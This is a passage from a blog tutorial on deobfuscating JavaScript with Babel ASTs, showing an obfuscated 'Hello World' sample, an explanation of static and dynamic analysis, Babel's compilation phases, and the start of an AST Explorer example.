class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">var</span> _0x3b8ba1 = _0x57e2;<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">_0x57e2</span>(<span class="hljs-params">_0x23db1e, _0x36111b</span>) {<br> <span class="hljs-keyword">var</span> _0x3bbee9 = <span class="hljs-title function_">_0x5936</span>();<br> <span class="hljs-keyword">return</span> (<br> (_0x57e2 = <span class="hljs-keyword">function</span> (<span class="hljs-params">_0x194e56, _0x27d4e2</span>) {<br> _0x194e56 = _0x194e56 - <span class="hljs-number">0x17e</span>;<br> <span class="hljs-keyword">var</span> _0x2b5447 = _0x3bbee9[_0x194e56];<br> <span class="hljs-keyword">return</span> _0x2b5447;<br> }),<br> <span class="hljs-title function_">_0x57e2</span>(_0x23db1e, _0x36111b)<br> );<br>}<br>(<span class="hljs-keyword">function</span> (<span class="hljs-params">_0x3d5379, _0x27d8c9</span>) {<br> <span class="hljs-keyword">var</span> _0x26235b = _0x57e2,<br> _0x556a19 = <span class="hljs-title function_">_0x3d5379</span>();<br> <span class="hljs-keyword">while</span> (!![]) {<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-keyword">var</span> _0x15999f =<br> <span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x183</span>)) / <span class="hljs-number">0x1</span> +<br> <span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x185</span>)) / <span class="hljs-number">0x2</span> +<br> (<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x194</span>)) / <span class="hljs-number">0x3</span>) *<br> (-<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x18d</span>)) / <span class="hljs-number">0x4</span>) +<br> <span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x188</span>)) / <span class="hljs-number">0x5</span> +<br> (-<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x18b</span>)) / <span class="hljs-number">0x6</span>) *<br> (-<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x187</span>)) / <span class="hljs-number">0x7</span>) +<br> -<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x182</span>)) / <span class="hljs-number">0x8</span> +<br> -<span class="hljs-built_in">parseInt</span>(<span class="hljs-title function_">_0x26235b</span>(<span class="hljs-number">0x195</span>)) / <span class="hljs-number">0x9</span>;<br> <span class="hljs-keyword">if</span> (_0x15999f === _0x27d8c9) <span class="hljs-keyword">break</span>;<br> <span class="hljs-keyword">else</span> _0x556a19[<span class="hljs-string">"push"</span>](_0x556a19[<span class="hljs-string">"shift"</span>]());<br> } <span class="hljs-keyword">catch</span> (_0x3cc29a) {<br> _0x556a19[<span class="hljs-string">"push"</span>](_0x556a19[<span class="hljs-string">"shift"</span>]());<br> }<br> }<br>})(_0x5936, <span class="hljs-number">0x4bc84</span>);<br><span class="hljs-keyword">var</span> _0x5cff45 = (<span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x5a2bb8 = !![];<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">function</span> (<span class="hljs-params">_0x2e90c1, _0x495f04</span>) {<br> <span class="hljs-keyword">var</span> _0x1ac9d1 = _0x5a2bb8<br> ? <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x261249 = _0x57e2;<br> <span class="hljs-keyword">if</span> (_0x495f04) {<br> <span class="hljs-keyword">var</span> _0x3c800c = _0x495f04[<span class="hljs-title function_">_0x261249</span>(<span class="hljs-number">0x198</span>)](_0x2e90c1, <span class="hljs-variable language_">arguments</span>);<br> <span class="hljs-keyword">return</span> (_0x495f04 = <span class="hljs-literal">null</span>), _0x3c800c;<br> }<br> }<br> : <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {};<br> <span class="hljs-keyword">return</span> (_0x5a2bb8 = ![]), _0x1ac9d1;<br> };<br> })(),<br> _0x1ea628 = <span class="hljs-title function_">_0x5cff45</span>(<span class="hljs-variable language_">this</span>, <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x4f765e = _0x57e2;<br> <span class="hljs-keyword">return</span> _0x1ea628[<span class="hljs-title function_">_0x4f765e</span>(<span class="hljs-number">0x17f</span>)]()<br> [<span class="hljs-string">"search"</span>](<span class="hljs-title function_">_0x4f765e</span>(<span class="hljs-number">0x18e</span>))<br> [<span class="hljs-string">"toString"</span>]()<br> [<span class="hljs-string">"constructor"</span>](_0x1ea628)<br> [<span class="hljs-title function_">_0x4f765e</span>(<span class="hljs-number">0x192</span>)](<span class="hljs-title function_">_0x4f765e</span>(<span class="hljs-number">0x18e</span>));<br> });<br><span class="hljs-title function_">_0x1ea628</span>();<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">_0x5936</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x7289e8 = [<br> <span class="hljs-string">"Hello\x20World!"</span>,<br> <span class="hljs-string">"toString"</span>,<br> <span class="hljs-string">"log"</span>,<br> <span class="hljs-string">"__proto__"</span>,<br> <span class="hljs-string">"2888432EGELDh"</span>,<br> <span class="hljs-string">"516645rknrWL"</span>,<br> <span class="hljs-string">"trace"</span>,<br> <span class="hljs-string">"928870xUjHrE"</span>,<br> <span class="hljs-string">"error"</span>,<br> <span class="hljs-string">"27965akgdka"</span>,<br> <span class="hljs-string">"2813765Wufwlg"</span>,<br> <span class="hljs-string">"return\x20(function()\x20"</span>,<br> <span class="hljs-string">"warn"</span>,<br> <span class="hljs-string">"48zUcTLM"</span>,<br> <span class="hljs-string">"bind"</span>,<br> <span class="hljs-string">"2668xZhNIu"</span>,<br> <span class="hljs-string">"(((.+)+)+)+$"</span>,<br> <span class="hljs-string">"prototype"</span>,<br> <span class="hljs-string">"console"</span>,<br> <span class="hljs-string">"table"</span>,<br> <span class="hljs-string">"search"</span>,<br> <span class="hljs-string">"length"</span>,<br> <span class="hljs-string">"615NtfKnc"</span>,<br> <span class="hljs-string">"6908400qvcpUL"</span>,<br> <span class="hljs-string">"exception"</span>,<br> <span class="hljs-string">"constructor"</span>,<br> <span class="hljs-string">"apply"</span>,<br> ];<br> _0x5936 = <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">return</span> _0x7289e8;<br> };<br> <span class="hljs-keyword">return</span> <span class="hljs-title function_">_0x5936</span>();<br>}<br><span class="hljs-keyword">var</span> _0x27d4e2 = (<span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x494152 = !![];<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">function</span> (<span class="hljs-params">_0x2d8431, _0x2bbb6a</span>) {<br> <span class="hljs-keyword">var</span> _0x1528ad = _0x494152<br> ? <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">if</span> (_0x2bbb6a) {<br> <span class="hljs-keyword">var</span> _0x4f8607 = _0x2bbb6a[<span class="hljs-string">"apply"</span>](_0x2d8431, <span class="hljs-variable language_">arguments</span>);<br> <span class="hljs-keyword">return</span> (_0x2bbb6a = <span class="hljs-literal">null</span>), _0x4f8607;<br> }<br> }<br> : <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {};<br> <span class="hljs-keyword">return</span> (_0x494152 = ![]), _0x1528ad;<br> };<br> })(),<br> _0x194e56 = <span class="hljs-title function_">_0x27d4e2</span>(<span class="hljs-variable language_">this</span>, <span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">var</span> _0x2df84e = _0x57e2,<br> _0x50a5eb;<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-keyword">var</span> _0x458538 = <span class="hljs-title class_">Function</span>(<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x189</span>) + <span class="hljs-string">"{}.constructor(\x22return\x20this\x22)(\x20)"</span> + <span class="hljs-string">");"</span><br> );<br> _0x50a5eb = <span class="hljs-title function_">_0x458538</span>();<br> } <span class="hljs-keyword">catch</span> (_0x55824d) {<br> _0x50a5eb = <span class="hljs-variable language_">window</span>;<br> }<br> <span class="hljs-keyword">var</span> _0x22e34f = (_0x50a5eb[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x190</span>)] =<br> _0x50a5eb[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x190</span>)] || {}),<br> _0x4b7f35 = [<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x180</span>),<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x18a</span>),<br> <span class="hljs-string">"info"</span>,<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x186</span>),<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x196</span>),<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x191</span>),<br> <span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x184</span>),<br> ];<br> <span class="hljs-keyword">for</span> (<br> <span class="hljs-keyword">var</span> _0x24f5c9 = <span class="hljs-number">0x0</span>;<br> _0x24f5c9 < _0x4b7f35[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x193</span>)];<br> _0x24f5c9++<br> ) {<br> <span class="hljs-keyword">var</span> _0x126b34 =<br> _0x27d4e2[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x197</span>)][<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x18f</span>)][<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x18c</span>)](<br> _0x27d4e2<br> ),<br> _0x427a50 = _0x4b7f35[_0x24f5c9],<br> _0xdec475 = _0x22e34f[_0x427a50] || _0x126b34;<br> (_0x126b34[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x181</span>)] = _0x27d4e2[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x18c</span>)](_0x27d4e2)),<br> (_0x126b34[<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x17f</span>)] =<br> _0xdec475[<span class="hljs-string">"toString"</span>][<span class="hljs-title function_">_0x2df84e</span>(<span class="hljs-number">0x18c</span>)](_0xdec475)),<br> (_0x22e34f[_0x427a50] = _0x126b34);<br> }<br> });<br><span class="hljs-title function_">_0x194e56</span>(), <span class="hljs-variable language_">console</span>[<span class="hljs-title function_">_0x3b8ba1</span>(<span class="hljs-number">0x180</span>)](<span class="hljs-title function_">_0x3b8ba1</span>(<span class="hljs-number">0x17e</span>));<br></code></pre></td></tr></table></figure><p>Yet, believe it or not, both of these scripts have the exact same functionality! You can test it yourself: both scripts output</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs ebnf"><span class="hljs-attribute">Hello World</span><br></code></pre></td></tr></table></figure><p>to the console.</p><h2 id="The-State-of-Javascript-Obfuscation"><a href="#The-State-of-Javascript-Obfuscation" class="headerlink" title="The State of Javascript Obfuscation"></a>The State of Javascript Obfuscation</h2><p>There are many available javascript obfuscators, both closed and open-source. Here’s a small list:</p><p><strong>Open-Source</strong></p><ul><li><a href="https://obfuscator.io/">Obfuscator.io</a></li><li><a href="http://www.jsfuck.com/">JSFuck</a></li><li><a href="https://github.com/alexhorn/defendjs">DefendJS</a></li></ul><p><strong>Closed-Source</strong></p><ul><li><a href="https://jscrambler.com/">Jscrambler</a></li><li><a href="https://javascriptobfuscator.com/">Javascript Obfuscator</a></li><li><a href="https://www.preemptive.com/products/jsdefender/">JSDefender</a></li></ul><p>For further reading on the why and how’s of Javascript Obfuscation, I recommend checking out the <a href="https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide/">Jscrambler blog posts</a>. For now, though, I’ll shift the topic towards reverse engineering.</p><h1 id="How-is-Obfuscated-Code-Analyzed"><a href="#How-is-Obfuscated-Code-Analyzed" class="headerlink" title="How is Obfuscated Code Analyzed?"></a>How is Obfuscated Code Analyzed?</h1><p>In general, most reverse engineering/deobfuscation techniques fall under two categories: <em>static analysis</em> and <em>dynamic analysis</em></p><h2 id="Static-Analysis"><a href="#Static-Analysis" class="headerlink" title="Static Analysis"></a>Static Analysis</h2><p>Static analysis refers to the inspection of source code <strong>without actually executing the program</strong>. An example of static analysis is simplifying source code with Regex.</p><h2 id="Dynamic-Analysis"><a href="#Dynamic-Analysis" class="headerlink" title="Dynamic Analysis"></a>Dynamic Analysis</h2><p>Dynamic analysis refers to the testing and analysis of an application <strong>during run time/evaluation</strong>. An example of dynamic analysis is using a debugger.</p><h2 id="Static-vs-Dynamic-Analysis-Use-Cases"><a href="#Static-vs-Dynamic-Analysis-Use-Cases" class="headerlink" title="Static vs. Dynamic Analysis Use-Cases"></a>Static vs. Dynamic Analysis Use-Cases</h2><p>Since static analysis does not execute code, it makes it ideal for analyzing untrusted scripts. For example, when analyzing malware, you may want to use static analysis to avoid infection of your computer.</p><p>Dynamic analysis is used when a script is known to be safe to run. Debuggers can be powerful tools for reverse engineering, as they allow you to view the state of the program at different points in the runtime. Additionally, dynamic analysis can be (and often is) used for malware analysis too, but only after taking proper security precautions (i.e sandboxing).</p><p>Static and dynamic analysis are powerful when used together. For example, debugging a script containing a lot of junk code can be difficult. Or, the code may contain anti-debugging protection (e.g. <a href="https://x-c3ll.github.io/posts/javascript-antidebugging/">infinite debugger loops</a>). In this case, someone may first use static inspection of source code to simplify the source code, then proceed with dynamic analysis using the modified source.</p><h1 id="Introducing-Babel"><a href="#Introducing-Babel" class="headerlink" title="Introducing Babel"></a>Introducing Babel</h1><p><a href="https://babeljs.io/">Babel</a> is a Javascript to Javascript compiler. The functionalities included with the Babel framework make it exceptionally useful for any javascript deobfuscation use case, since you can use it for static analysis and dynamic analysis!</p><p>Let me give a short explanation of how it works:</p><p>Javascript is an interpreted programming language. For Javascript to be interpreted by an engine (e.g. Chrome’s V8 engine or Firefox’s Spidermonkey) into machine code, it is first parsed into an <strong><em>Abstract Syntax Tree</em></strong> (AST). After that, the AST is used to generate machine-readable byte-code, which is then executed.</p><p>Babel works in a similar fashion. It takes in Javascript code, parses it into an AST, then outputs javascript based on that AST.</p><p>Okay, sounds interesting. But what even is an AST?</p><h2 id="Definition-Abstract-Syntax-Tree"><a href="#Definition-Abstract-Syntax-Tree" class="headerlink" title="Definition: Abstract Syntax Tree"></a>Definition: Abstract Syntax Tree</h2><p>An <strong><em>Abstract Syntax Tree</em></strong> (AST) is a tree-like structure that hierarchically represents the syntax of a piece of source code. Each node of the tree represents the occurrence of a predefined structure in the source code. Any piece of source code, from any programming language, can be represented as an AST.</p><p>Note: <em>Even though the concepts behind an AST are universal, different programming languages may have a different AST specifications based on their capabilities.</em></p><p>Some practical uses of ASTs include:</p><ul><li>Validating Code</li><li>Formatting Code</li><li>Syntax Highlighting</li></ul><p>And, of course, due to the more verbose nature of ASTs relative to plaintext source code, it makes them a great tool for reverse engineering 😁</p><p>Unfortunately, I won’t be giving a more in-depth definition of ASTs. This is for the sake of time, and since that’d be more akin to the subject of compiler theory than deobfuscation. I’d prefer to get right into explaining the usage of Babel as quickly as possible. However, I’ll leave you with some resources to read up more about ASTs (which probably offer a better explanation than I could muster anyway):</p><p><a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree">Wikipedia - Abstract Syntax Trees</a><br><a href="https://blog.sessionstack.com/how-javascript-works-parsing-abstract-syntax-trees-asts-5-tips-on-how-to-minimize-parse-time-abfcf7e8a0c8">How JavaScript works: Parsing, Abstract Syntax Trees (ASTs) + 5 tips on how to minimize parse time</a></p><h2 id="How-Babel-Works"><a href="#How-Babel-Works" class="headerlink" title="How Babel Works"></a>How Babel Works</h2><p>Babel can be installed the same way as any other NodeJS package. For our purposes, the following packages are relevant:</p><p><code>@babel/core</code> This encapsulates the entire Babel compiler API.<br><code>@babel/parser</code> The module Babel uses to parse Javascript source code and generate an AST<br><code>@babel/traverse</code> The module that allows for traversing and modifying the generated AST<br><code>@babel/generator</code> The module Babel uses to generate Javascript code from the AST.<br><code>@babel/types</code> A module for verifying and generating node types as defined by the Babel AST implementation.</p><p>When compiling code, Babel goes through three main phases:</p><ol><li><strong>Parsing</strong> => Uses <code>@babel/parser</code> API</li><li><strong>Transforming</strong> => Uses <code>@babel/traverse</code> API</li><li><strong>Code Generation</strong> => Uses <code>@babel/generator</code> API</li></ol><p>I’ll give you a (very) short summary of each of these phases:</p><h3 id="Stages-of-Babel"><a href="#Stages-of-Babel" class="headerlink" title="Stages of Babel"></a>Stages of Babel</h3><h4 id="Phase-1-Parsing"><a href="#Phase-1-Parsing" class="headerlink" title="Phase #1: Parsing"></a>Phase #1: Parsing</h4><p>During this phase, Babel takes source code as an input and outputs an AST. Two stages of parsing are <a href="https://en.wikipedia.org/wiki/Lexical_analysis">Lexical Analysis</a> and <a href="https://en.wikipedia.org/wiki/Parsing">Syntactic Analysis</a>.</p><p>To parse code into an AST, we make use of <code>@babel/parser</code>. The following is an example of parsing code from a file, <code>sourcecode.js</code>:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> code = fs.<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"sourcecode.js"</span>, <span class="hljs-string">"utf-8"</span>);<br><span class="hljs-keyword">let</span> ast = parser.<span class="hljs-title function_">parse</span>(code);<br></code></pre></td></tr></table></figure><p>You can read more about the parsing phase here:<br><a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#parse">Babel Plugin Handbook - Parsing</a><br><a href="https://babeljs.io/docs/en/babel-parser">Babel Docs - @babel/parser</a></p><h4 id="Phase-2-Transforming"><a href="#Phase-2-Transforming" class="headerlink" title="Phase 2: Transforming"></a>Phase 2: Transforming</h4><p>The transformation phase is the most important phase. During this phase, Babel takes the generated AST and traverses it to add, update, or remove nodes. All the deobfuscation transformations we write are executed in this stage. This stage will be the main focus of future tutorials.</p><h4 id="Phase-3-Code-Generation"><a href="#Phase-3-Code-Generation" class="headerlink" title="Phase 3: Code Generation"></a>Phase 3: Code Generation</h4><p>The code generation phase takes in the final AST and converts it back to executable Javascript.</p><h1 id="The-Babel-Workflow"><a href="#The-Babel-Workflow" class="headerlink" title="The Babel Workflow"></a>The Babel Workflow</h1><p>This section will not discuss any practical deobfuscation techniques. It will only detail the general process of analyzing source code. I’ll be using an unobfuscated piece of code as an example.</p><p>When deobfuscating Javascript, I typically follow this workflow:</p><ol><li>Visualization</li><li>Analysis</li><li>Writing the Deobfuscator</li></ol><h2 id="Phase-1-Visualization-with-AST-Explorer"><a href="#Phase-1-Visualization-with-AST-Explorer" class="headerlink" title="Phase 1: Visualization with AST Explorer"></a>Phase 1: Visualization with AST Explorer</h2><p>Before we can write any plugins for a deobfuscator, we should always first visualize the code’s AST. To help us with that, we will leverage an online tool: <a href="https://astexplorer.net/">AstExplorer.net</a>.</p><p>AST Explorer serves as an interactive AST playground. It allows you to choose a programming language and parser. In this case, we would select Javascript as the programming language and <code>@babel/parser</code> as the parser. After that, we can paste some source code into the window and inspect the generated AST on the right-hand side.</p><p>As an example, I’ll use this snippet:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">operation</span>(<span class="hljs-params">arg1, arg2</span>) {<br> <span class="hljs-keyword">let</span> step1 = arg1 + arg2;<br>}<br><br><span class="hljs-keyword">let</span> foo = <span class="hljs-title function_">operation</span>(<span class="hljs-number">6</span>, <span class="hljs-number">8</span>);<br></code></pre></td></tr></table></figure><p><img src="/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/intro1.PNG" alt="Result from pasting the code snippet in AST Explorer"></p><p>The generated AST looks like this:</p><details> <summary> Click to Expand</summary><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br></pre></td><td class="code"><pre><code class="hljs javascript">{<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"File"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">0</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">78</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">0</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> }<br> },<br> <span class="hljs-string">"errors"</span>: [],<br> <span class="hljs-string">"program"</span>: {<br> <span class="hljs-string">"type"</span>: <span class="hljs-string">"Program"</span>,<br> <span class="hljs-string">"start"</span>: <span class="hljs-number">0</span>,<br> <span class="hljs-string">"end"</span>: <span class="hljs-number">78</span>,<br> <span class="hljs-string">"loc"</span>: {<br> <span class="hljs-string">"start"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">1</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">0</span><br> },<br> <span class="hljs-string">"end"</span>: {<br> <span class="hljs-string">"line"</span>: <span class="hljs-number">5</span>,<br> <span class="hljs-string">"column"</span>: <span class="hljs-number">24</span><br> }<br> },<br> <span class="hljs-string">"sourceType"</span>: <span class="hljs-string">"module"</span>,<br> <span 